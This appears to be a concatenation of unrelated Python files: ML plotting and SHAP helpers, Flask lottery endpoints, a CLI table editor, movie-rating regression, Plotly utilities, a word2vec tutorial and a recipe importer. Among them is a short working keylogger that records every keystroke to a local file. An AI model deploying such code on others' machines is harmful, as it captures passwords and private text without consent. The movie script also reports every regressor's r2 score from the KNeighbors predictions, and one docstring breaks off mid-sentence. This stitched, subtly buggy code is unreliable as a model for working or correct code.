    plt.savefig(f'{out_dir}/{endpoint}/test/{model_name}_roc_prc_curves'.replace(' ', '_'), bbox_inches='tight', dpi=dpi)

    return roc_plot, prc_plot

def plot_confusion_matrix(label, confusion_matrix, model_name, out_dir, phase):
    cm_fig, ax = plt.subplots()
    cm_fig.suptitle(f'{model_name} predicting {label}')
    disp = ConfusionMatrixDisplay(confusion_matrix=confusion_matrix,
                                  display_labels=[0, 1])
    disp.plot(include_values=True, cmap='Blues', ax=ax,
              xticks_rotation='horizontal', values_format='d')
    plt.savefig(f'{out_dir}/{label}/{phase}/{model_name}_cm'.replace(' ', '_'))
    plt.close()

def plot_shap_values(X_test, X_train, y_train, cv, model, model_name, out_dir, select_features):
    def get_shap_values(test_data, train_data):
        if select_features:
            train_data = model.named_steps['selector'].transform(train_data)
            test_data = model.named_steps['selector'].transform(test_data)

        # Get SHAP values function
        if model_name == 'LogisticRegression':
            explainer = shap.LinearExplainer(model.named_steps['model'], train_data)
        elif model_name in ['DecisionTreeClassifier', 'RandomForestClassifier', 'GradientBoostingClassifier']:
            explainer = shap.TreeExplainer(model.named_steps['model'], train_data)
        else:
            if hasattr(model, "predict_proba"):
                f = lambda x: model.predict_proba(x)[:, 1]
                explainer = shap.KernelExplainer(f, train_data)
            else:
                explainer = shap.KernelExplainer(model.decision_function, train_data)
        return explainer.shap_values(test_data)

    with warnings.catch_warnings():
        warnings.filterwarnings("ignore")
        # Test SHAP values
        model.fit(X_train, y_train)
        test_shap_values = get_shap_values(X_test, X_train)
        shap.summary_plot(test_shap_values, X_test, show=False)
        plt.tight_layout()
        plt.savefig(f'{out_dir}/{y_train.name}/test/{model_name}_SHAP.png'.replace(' ', '_'), dpi=dpi)
        plt.close()

        shap.summary_plot(test_shap_values, X_test, plot_type='bar', show=False)
        plt.tight_layout()
        plt.savefig(f'{out_dir}/{y_train.name}/test/{model_name}_SHAP_bars.png'.replace(' ', '_'), dpi=dpi)
        plt.close()

        # CV SHAP values
        shap_values_list = []
        test_ixs = []
        for train_ix, test_ix in cv.split(X_train, y_train):
            test_ixs.append(test_ix)

            X_tr = X_train.iloc[train_ix]
            y_tr = y_train.iloc[train_ix]
            X_te = X_train.iloc[test_ix]
            model.fit(X_tr, y_tr)
            shap_values = get_shap_values(X_te, X_tr)
            for shap_value in shap_values:
                shap_values_list.append(shap_value)

        new_index = [ix for ix_test_fold in test_ixs for ix in ix_test_fold]
        shap.summary_plot(np.array(shap_values_list), X_train.reindex(new_index), show=False)
        plt.tight_layout()
        plt.savefig(f'{out_dir}/{y_train.name}/val/{model_name}_SHAP.png'.replace(' ', '_'), dpi=dpi)
        plt.close()

        shap.summary_plot(np.array(shap_values_list), X_train.reindex(new_index), plot_type='bar', show=False)
        plt.tight_layout()
        plt.savefig(f'{out_dir}/{y_train.name}/val/{model_name}_SHAP_bars.png'.replace(' ', '_'), dpi=dpi)
        plt.close()

def plot_calibration_curves(X_test, y_test, endpoint, model, model_name, out_dir):
    sns.set(style='darkgrid', context='talk', palette='rainbow')
    fig, ax = plt.subplots()
    fig.suptitle(f'{model_name} predicting {endpoint}')
    viz = CalibrationDisplay.from_estimator(model, X_test, y_test, n_bins=10, name=model_name, ax=ax)
    plt.tight_layout()
    plt.savefig(f'{out_dir}/{endpoint}/test/{model_name}_calibration'.replace(' ', '_'), dpi=dpi)
    plt.close()
    sns.reset_orig()


from applications import app
from flask import Response, request, jsonify
import random

@app.route('/postMyLighteningBall', methods=['POST'])
def postMyLighteningBall():
    post = request.data.decode('utf-8')
    myLighteningBall = int(post)
    app.logger.info(myLighteningBall)
    winningLighteningBall = random.randint(1,14)

    match = False
    if myLighteningBall == winningLighteningBall:
        match = True
    else:
        match = False
    return jsonify({"winningBall":winningLighteningBall, "match":match})

@app.route('/postMyLotteryNumbers', methods=['POST'])
def postMyLotteryNumbers():
    post = request.data.decode('utf-8')
    stringNumbers = list(post.split(" "))
    myLotteryNumbers = [int(i) for i in stringNumbers]

    count = 0
    winningNumbers = []
    while count != 6:
        ball = random.randint(1,50)
        if ball not in winningNumbers:
            winningNumbers.append(ball)
            count += 1
    list_string = map(str, winningNumbers)
    winningLotteryNumbers = " ".join(list_string)

    matches = 0
    for ball in myLotteryNumbers:
        if ball in winningNumbers:
            matches = matches + 1
    return jsonify({"winningBalls":winningLotteryNumbers, "matches":matches})


import PyInquirer
import tabulate
import os

from typing import Callable, Dict, List

from backend import Field, Table, Type
from backend.constraints import *

types = {'integer': Integer, 'character': Char, 'real': Real, 'text': Text}
cons = [{'name': 'not null'}, {'name': 'auto increment'}, {'name': 'unique'}, {'name': 'primary key'},
        {'name': 'foreign key'}]  # more constraints TO DO
cons_to_class = {'not null': NotNull, 'auto increment': AutoIncrement, 'unique': Unique, 'primary key': PrimaryKey,
                 'foreign key': ForeignKey}

def __choice_to_function(message: str, choices: Dict[str, Callable[[str], bool]], buffer: Dict[str, Table],
                         root_path: str) -> bool:
    return choices[
        PyInquirer.prompt([{
            'type': 'list', 'name': 'op', 'message': message, 'choices': list(choices.keys())
        }])['op']](buffer, root_path)

def __choice_to_function2(message: str, choices: Dict[str, Callable[[str], bool]], table: Table,
                          root_path: str) -> bool:
    return choices[
        PyInquirer.prompt([{
            'type': 'list', 'name': 'op', 'message': message, 'choices': list(choices.keys())
        }])['op']](table, root_path)

def exit(buffer: Dict[str, Table], root_path) -> bool:
    print('Bye!')
    print()
    return False

def __not_null(v: str):
    return len(v) != 0

__create_table = [{
    'type': 'input', 'name': 'name', 'message': 'Please Enter a New Table Name:', 'validate': __not_null
}, {
    'type': 'input', 'name': 'desc', 'message': 'Please Describe This Table:', 'validate': __not_null
}]

__enter_table = [{
    'type': 'input', 'name': 'name', 'message': 'Please Enter The Table Name:', 'validate': __not_null
}]

__enter_field = [{
    'type': 'input', 'name': 'name', 'message': 'Please Enter The Field Name:', 'validate': __not_null
}, {
    'type': 'input', 'name': 'desc', 'message': 'Please Describe This Field:', 'validate': __not_null
}, {
    'type': 'list', 'name': 'type', 'message': 'Please Choose The Field Type:', 'choices': list(types.keys())
}, {
    'type': 'checkbox', 'name': 'other_cons', 'message': 'Please Choose Other Constraints:', 'choices': cons
}]

__enter_desc = [{
    'type': 'input', 'name': 'desc', 'message': 'Please Enter The Description:', 'validate': __not_null
}]

def show_tables(buffer: Dict[str, Table], root_path) -> bool:
    headers = ['TableName', 'Description']
    data = []
    for table in buffer:
        name = table
        desc = buffer[table].desc
        row = [name, desc]
        data.append(row)
    print()
    print(tabulate.tabulate(data, headers, tablefmt='pretty'))
    print()

    return True

def show_table(buffer: Dict[str, Table], root_path) -> bool:
    name = PyInquirer.prompt(__enter_table)['name']
    # print(name)
    __show_table(buffer, name)

    return True

def __show_table(buffer: Dict[str, Table], name: str):
    headers = ['FieldName', 'Description']
    data = []
    if (buffer.__contains__(name)):
        table = buffer[name]
        for field in table.fields:
            row = [field.name, field.desc]
            data.append(row)
        print()
        print(tabulate.tabulate(data, headers, tablefmt='pretty'))
        print()
    else:
        print('No Table Named ' + name + ' Exists!')

def enter_table(buffer: Dict[str, Table], root_path) -> bool:
    name = PyInquirer.prompt(__enter_table)['name']
    __show_table(buffer, name)
    table = buffer[name]
    while __choice_to_function2('Select Your Option: ', {
        'Add New Field': add_field,
        'Remove Old Field': remove_field,
        'Edit Description': edit_desc,
        'Back': back
    }, table, root_path):
        pass
    return True

def back(table: Table, root_path):
    return False

def add_field(table: Table, root_path) -> bool:
    info = PyInquirer.prompt(__enter_field)
    name = info['name']
    desc = info['desc']

    # TO DO
    if (info['type'] == 'character'):
        length = input('Enter The Char Length: ')
        type = types[info['type']](length)
    else:
        type = types[info['type']]()

    other_cons = []
    for c in info['other_cons']:
        if c == 'foreign key':
            ref = input('Enter The Reference Table Name: ')
            temp_cons = cons_to_class[c](ref)
        else:
            temp_cons = cons_to_class[c]()
        other_cons.append(temp_cons)
    other_cons = set(other_cons)
    constraints = {type} | other_cons

    field = Field(name, desc, constraints)
    # Need a check funct here -- to make sure no duplications occur
    table.fields.append(field)
    table.save(table)
    return True

def remove_field(table: Table, root_path) -> bool:
    target = input('Please Input The Field Name: ')
    for field in table.fields:
        if field.name == target:
            table.fields.remove(field)
            break
    table.save(table)
    return True

def edit_desc(table: Table, root_path) -> bool:
    desc = PyInquirer.prompt(__enter_desc)['desc']
    table.desc = desc
    table.save(table)
    return True

def create_table(buffer: Dict[str, Table], root_path) -> bool:
    info = PyInquirer.prompt(__create_table)
    name = info['name']
    desc = info['desc']
    fields = []
    file = os.path.join(root_path, name + '.json')
    table = Table(file, name, desc, fields)
    table.save(table)
    buffer.setdefault(name, table)
    return True

def drop_table(buffer: Dict[str, Table], root_path) -> bool:
    name = PyInquirer.prompt(__enter_table)['name']
    __show_table(buffer, name)
    table = buffer[name]

    if PyInquirer.prompt(
            {
                'type': 'confirm',
                'name': 'confirm',
                'message': 'This Table is About to Be Removed, Continue?',
                'default': False
            })['confirm']:
        path = table._file
        if os.path.exists(path):
            os.remove(path)
            print('Local Has Been Deleted Successfully!')
        else:
            raise Exception('No Such File: ' + path)
        buffer.pop(name)
    else:
        print('Aborted.')
    return True


#Storing the keystrokes in a text file
from pynput.keyboard import Listener

def write_to_file(key):
    letter = str(key)
    letter = letter.replace("'","") #remove the inverted commas that seperate the letters

    if letter == 'Key.space':
        letter = ' '
    if letter == 'Key.shift_r':
        letter = ''
    if letter == 'Key.shift':
        letter = ''
    if letter == 'Key.enter':
        letter = '\n'
    if letter == 'Key.tab':
        letter = '\t'

    with open("log.txt", "a") as f:
        f.write(letter) #Write the letters that you press on the keyboard in the log file.

with Listener(on_press=write_to_file) as l:
    l.join() #all the keystrokes are join together


import ast
import string
import pandas as pd
import numpy as np
from scipy import stats
import matplotlib.pyplot as plt

from nltk.corpus import stopwords
from nltk.tokenize import RegexpTokenizer
from nltk import stem
from nltk.tokenize import word_tokenize
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer, TfidfTransformer

from sklearn.preprocessing import MultiLabelBinarizer
from sklearn.preprocessing import StandardScaler
from sklearn.pipeline import make_pipeline
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix, r2_score
from sklearn.ensemble import VotingRegressor
from sklearn.neighbors import KNeighborsRegressor
from sklearn.ensemble import RandomForestRegressor
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.neural_network import MLPRegressor
from sklearn.svm import SVR

pd.set_option('display.width', 400)
pd.set_option('display.max_columns', 10)

def clean_text(text):
    text = text.lower()

    # Lancaster is strictest and PorterStemmer is least strict.
    # Snowball is in the middle, so we use Snowball here for stemming text.
    stemmer = stem.SnowballStemmer('english')
    stop_words = set(stopwords.words('english'))

    word_tokens = word_tokenize(text)
    not_punctuation = [word for word in word_tokens if word not in string.punctuation]
    cleaned = [word for word in not_punctuation if word not in stop_words]
    cleaned_stem = [stemmer.stem(word) for word in cleaned]
    cleaned_join = " ".join(cleaned_stem)

    return cleaned_join

# read file
filename = "movies.csv"
data = pd.read_csv(filename, sep=',', converters={'genres': ast.literal_eval})

"""

**************** CLEANING AND ETL ****************

"""

data = data[data['genres'].apply(len).gt(0)]  # exclude observations with no genres recorded
data = data[data['overview'].notna()]  # exclude observations with no overview recorded
data = data.copy().reset_index(drop=True)

''' EXTRACT GENRES '''

movie_genres = data[['original_title', 'overview', 'genres', 'vote_average']]
movie_genres = movie_genres.copy()
genres = pd.read_csv("genres_collection.csv", sep=',')
sorted_unique_genres = genres['genre'].tolist()

movie_genres['genres'] = movie_genres['genres'].apply(lambda x: [i[1] for i in x])
movie_genres['genres'] = movie_genres['genres'].apply(", ".join)

# increase the weight for the genres by 3 times compared to the movie overview
movie_genres['overview_genres'] = movie_genres['overview'] + movie_genres['genres'] + movie_genres['genres'] + movie_genres['genres']

''' PROCESS TEXT '''

movie_genres['overview'] = movie_genres['overview'].astype(str)
# movie_genres['overview'] = movie_genres['overview'].apply(clean_text)
tfidfvectorizer = TfidfVectorizer(analyzer=clean_text, stop_words='english')
overview_bow = tfidfvectorizer.fit_transform(movie_genres['overview'])
# print(overview_bow)
# print(type(overview_bow))
# overview_bow = overview_bow.todense()
# print(type(overview_bow))

"""

**************** ANALYZING ****************

"""

''' Build a ML model to predict movie rating based on overview and genres '''
X_train, X_valid, y_train, y_valid = train_test_split(overview_bow, movie_genres['vote_average'])

print("KNeighbors Regressor:")
model_kneighbors = KNeighborsRegressor(15)
model_kneighbors.fit(X_train, y_train)
print(model_kneighbors.score(X_train, y_train))
print(model_kneighbors.score(X_valid, y_valid))
y_pred = model_kneighbors.predict(X_valid)
print(r2_score(y_valid, y_pred))
print("")

print("Random Forest Regressor:")
model_forest = RandomForestRegressor(1000, max_depth=5, min_samples_leaf=100, random_state=50)
model_forest.fit(X_train, y_train)
print(model_forest.score(X_train, y_train))
print(model_forest.score(X_valid, y_valid))
y_pred = model_kneighbors.predict(X_valid)
print(r2_score(y_valid, y_pred))
print("")

# https://machinelearningmastery.com/configure-gradient-boosting-algorithm/
print("Gradient Boost Regressor:")
model_gradient_boost = GradientBoostingRegressor(n_estimators=500, max_depth=4, min_samples_leaf=6)
model_gradient_boost.fit(X_train, y_train)
print(model_gradient_boost.score(X_train, y_train))
print(model_gradient_boost.score(X_valid, y_valid))
y_pred = model_kneighbors.predict(X_valid)
print(r2_score(y_valid, y_pred))
print("")

print("Support Vector Machine Regressor:")
model_svr = SVR(kernel='rbf')
model_svr.fit(X_train, y_train)
print(model_svr.score(X_train, y_train))
print(model_svr.score(X_valid, y_valid))
y_pred = model_kneighbors.predict(X_valid)
print(r2_score(y_valid, y_pred))
print("")

print("Neural Network Regressor:")
model_neural = MLPRegressor(hidden_layer_sizes=(5, 4), activation='logistic', solver='lbfgs', max_iter=36000)
model_neural.fit(X_train, y_train)
print(model_neural.score(X_train, y_train))
print(model_neural.score(X_valid, y_valid))
y_pred = model_kneighbors.predict(X_valid)
print(r2_score(y_valid, y_pred))
print("")

print("Voting Regressor:")
model_voting = VotingRegressor([
                            ('neighbors', KNeighborsRegressor(50)),
                            ('forest', RandomForestRegressor(n_estimators=100, min_samples_leaf=20)),
                            ('svr', SVR(kernel='rbf')),
                            ('neural', MLPRegressor(hidden_layer_sizes=(4, 5), activation='logistic', solver='lbfgs', max_iter=50000))
                            ]
)

model_voting.fit(X_train, y_train)
print(model_voting.score(X_train, y_train))
print(model_voting.score(X_valid, y_valid))
y_pred = model_kneighbors.predict(X_valid)
print(r2_score(y_valid, y_pred))
print("")


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Sep 25 09:57:13 2020

@author: hanjiya
"""

import numpy as np
import matplotlib.pyplot as plt

plt.rcParams['figure.figsize'] = [16,8]
plt.rcParams.update({'font.size' : 18})

t = np.linspace(-5,5,200)
x = 2 + 2*t
y = 3 - 3*t

fig = plt.figure()
ax = fig.gca()
ax.plot(x,y)
ax.plot(2,3,'.')
u = 8 + 8*t + 8*t**2
v = -3 + 3*t
ax.plot(u,v,Color='r')
ax.set_xlim(-10,10)
ax.set_ylim(-10,10)
ax.text(2.3,3.5,'(2,3')

plt.xticks(np.arange(-10,11))
plt.yticks(np.arange(-10,11))
plt.grid('on')

plt.show()


"""Contains utility functions for data and model loading as well as for
generating graph objects, which are then plotted in the web app using Plotly"""

import pandas as pd
import numpy as np
from nltk.tokenize import word_tokenize
from nltk.stem import WordNetLemmatizer
from plotly.graph_objs import Bar, Heatmap

def get_cooc_matrix(df_labels: pd.DataFrame) -> np.ndarray:
    """Returns the symmetric pair-wise co-occurrence matrix.

    Args:
        df_label: DataFrame with columns corresponding to class labels.

    Returns:
        cooc_matrix: 2D np.array representing the co-occurrence heatmap of class labels. The shape is $k \times k$, where $k$ refers to the number of clases.
    """
    k = df_labels.shape[-1]
    co_occ_matrix = np.zeros((k, k))
    for i, la in enumerate(df_labels.columns.values):
        df_temp = df_labels.loc[df_labels[la] == 1]
        n, _ = df_temp.shape
        co_occ_matrix[i, :] = df_temp.sum(axis=0).values / n
    return co_occ_matrix

def tokenize(text):
    """
    Tokenizes a text message and transforms the resulting tokens to their base
    form using the WordNet lemmatizer
    """

    tokens = word_tokenize(text)
    lemmatizer = WordNetLemmatizer()

    clean_tokens = []
    for tok in tokens:
        clean_tok = lemmatizer.lemmatize(tok).lower().strip()
        clean_tokens.append(clean_tok)

    return clean_tokens

def filter_labels(df: pd.DataFrame) -> pd.DataFrame:
    """
    Returns a pandas dataframe that lacks the `child_alone` column and rows
    for which the uniformative `related` column is equal to 1.
    """
    df = df.drop(columns=["child_alone"])
    df = df[df.related == 1]
    return df

def plot_counts_per_label(x, y):
    """
    Returns a list that contains a dictionary to specify a plotly graph
    object for plotting the number of messages (y) per label (x) as a
    horizontal bar plot using Plotly
    """
    graph = [
        {
            "data": [Bar(x=x, y=y, orientation="h")],
            "layout": {
                "title": "Number of messages per label",
                "autosize": False,
                "height": 700,
                "width": 500,
                "yaxis": {
                    "automargin": True,
                    "title": "Label",
                    "dtick": 1,
                },
                "xaxis": {"title": "Number of messages"},
            },
        }
    ]
    return graph

def plot_freq_of_messages_per_number_of_labels(x, y):
    """
    Returns a dictionary that specifies the plotly graph object for plotting
    the histogram (y) of the number of labels per message (x)
    """
    graph_dict = {
        "data": [Bar(x=x, y=y)],
        "layout": {
            "title": "Number of labels per message",
            "autosize": False,
            "height": 700,
            "width": 500,
            "yaxis": {
                "automargin": True,
                "title": "Number of labels",
            },
            "xaxis": {"title": "Number of messages"},
        },
    }

    return graph_dict

def plot_co_occurence_heatmap(x, y, z):
    """
    Returns a dictionary that specifies the plotly graph object for plotting
    a heatmap that informs of the pair-wise co-occurrence of labels
    """
    graph_dict = {
        "data": [Heatmap(x=x, y=y, z=z, hoverongaps=False, colorscale="Viridis")],
        "layout": {
            "title": "Co-occurrence of message labels",
            "autosize": False,
            "height": 800,
            "width": 1000,
            "yaxis": {
                "automargin": True,
                "autorange": "reversed",
            },
            "xaxis": {"tickangle": 60, "automargin": True},
        },
    }
    return graph_dict


## Word2Vec
# https://github.com/minsuk-heo/python_tutorial/blob/master/data_science/nlp/word2vec_tensorflow.ipynb

corpus = ['king is a strong man',
          'queen is a wise woman',
          'boy is a young man',
          'girl is a young woman',
          'prince is a young king',
          'princess is a young queen',
          'man is strong',
          'woman is pretty',
          'prince is a boy will be king',
          'princess is a girl will be queen']

# Remove stop words ----------------------------------------------------
def remove_stop_words(corpus):
    stop_words = ['is', 'a', 'will', 'be']
    results = []
    for text in corpus:
        tmp = text.split(' ')
        for stop_word in stop_words:
            if stop_word in tmp:
                tmp.remove(stop_word)
        results.append(" ".join(tmp))

    return results

corpus = remove_stop_words(corpus)
corpus

words = []
for text in corpus:
    for word in text.split(' '):
        words.append(word)

words = set(words)

# data generation ----------------------------------------------------

word2int = {}
for i,word in enumerate(words):
    word2int[word] = i
word2int

sentences = []
for sentence in corpus:
    sentences.append(sentence.split())
sentences

WINDOW_SIZE = 2

data = []
for sentence in sentences:
    for idx, word in enumerate(sentence):
        for neighbor in sentence[max(idx - WINDOW_SIZE, 0) : min(idx + WINDOW_SIZE, len(sentence)) + 1] :
            if neighbor != word:
                data.append([word, neighbor])
data

import pandas as pd
for text in corpus:
    print(text)

df = pd.DataFrame(data, columns = ['input', 'label'])
df

# Define Tensorflow Graph ----------------------------------------------------
import tensorflow as tf
import numpy as np

ONE_HOT_DIM = len(words)

# function to convert numbers to one hot vectors
def to_one_hot_encoding(data_point_index):
    one_hot_encoding = np.zeros(ONE_HOT_DIM)
    one_hot_encoding[data_point_index] = 1
    return one_hot_encoding

X = [] # input word
Y = [] # target word
for x, y in zip(df['input'], df['label']):
    X.append(to_one_hot_encoding(word2int[ x ]))
    Y.append(to_one_hot_encoding(word2int[ y ]))

# convert them to numpy arrays
X_train = np.asarray(X)
Y_train = np.asarray(Y)

# Train ----------------------------------------------------
import tensorflow as tf
import matplotlib.pyplot as plt

model = tf.keras.Sequential([
    tf.keras.layers.Dense(2),
    tf.keras.layers.Dense(12, activation='softmax')
])

model.compile(optimizer='adam', loss='mse', metrics='mse')
model.fit(X_train, Y_train, epochs=10000, shuffle=True, batch_size=16,verbose=0)
model.summary()

# word vector in table ----------------------------------------------------
sample1 = np.array([[1,0,0,0,0,0,0,0,0,0,0,0]])

word2int
word2int_inv = {v: k for k,v in word2int.items()}
sample = np.eye(12,12)

model.predict(sample1)
latent_np = model.layers[0](sample).numpy()
model.layers[0](sample).numpy().T

# word vector in 2d chart ----------------------------------------------------
import matplotlib.pyplot as plt
plt.figure(figsize=(10,10))
plt.scatter(*latent_np.T)
for e, (xp, yp) in enumerate(latent_np):
    plt.text(xp,yp, word2int_inv[e])


"""
ASSUMES YOUR WORKING DIRECTORY IS scripts/

builds new recipes from the submitted google sheet.

Each new recipe should be its own separate PR. Therefore, it should be ran with
a script that can do said checkout and PR.

**Required**: a text file, `add_new_recipes_since`, containing one line--the iso
date of the last recipe to be added. This script will
"""
import sys
import os
import csv
import typing as t
from typing import Iterator
from datetime import datetime
import logging
from recibundler.schema import reciperow
from recibundler import json_writing
import gsheets_download

ADD_NEW_RECIPES_SINCE_PATH = "add_new_recipes_since"

T = t.TypeVar("T")

logging.basicConfig(level=os.environ.get("LOGLEVEL", "WARN"))

def add_new_recipes(filepath=None):
    logging.debug(f"filepath is {filepath}")

    try:

        reader: Iterator = (
            csv.reader(open(filepath, newline=""))
            if filepath
            else gsheets_download.fetch()
        )

        next(reader)
        with open(ADD_NEW_RECIPES_SINCE_PATH) as datefh:
            try:
                last_date = datetime.fromisoformat(datefh.read().strip())
            except ValueError:
                logging.warn("starting from beginning of time")
                last_date = datetime(year=2022, month=1, day=28)

        # skip the header
        next(reader)

        for recipe in reader:
            recipe += [None, None]
            recipe = reciperow.reciperow(*recipe[:19])
            if reciperow.is_recipe_old(recipe, last_date):
                continue
            logging.info(f"the next recipe is {recipe.name}")
            json_writing.write_recipe_to_json(recipe)

            with open(ADD_NEW_RECIPES_SINCE_PATH, mode="w") as datefh:
                datefh.write(str(reciperow.isodate_from_recipe(recipe)))
            return

        logging.error("no new recipes")
        sys.exit(1)
    finally:
        print('done')

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("please pass the path to the file to build recipes from.")
        sys.exit(1)
    add_new_recipes(sys.argv[1])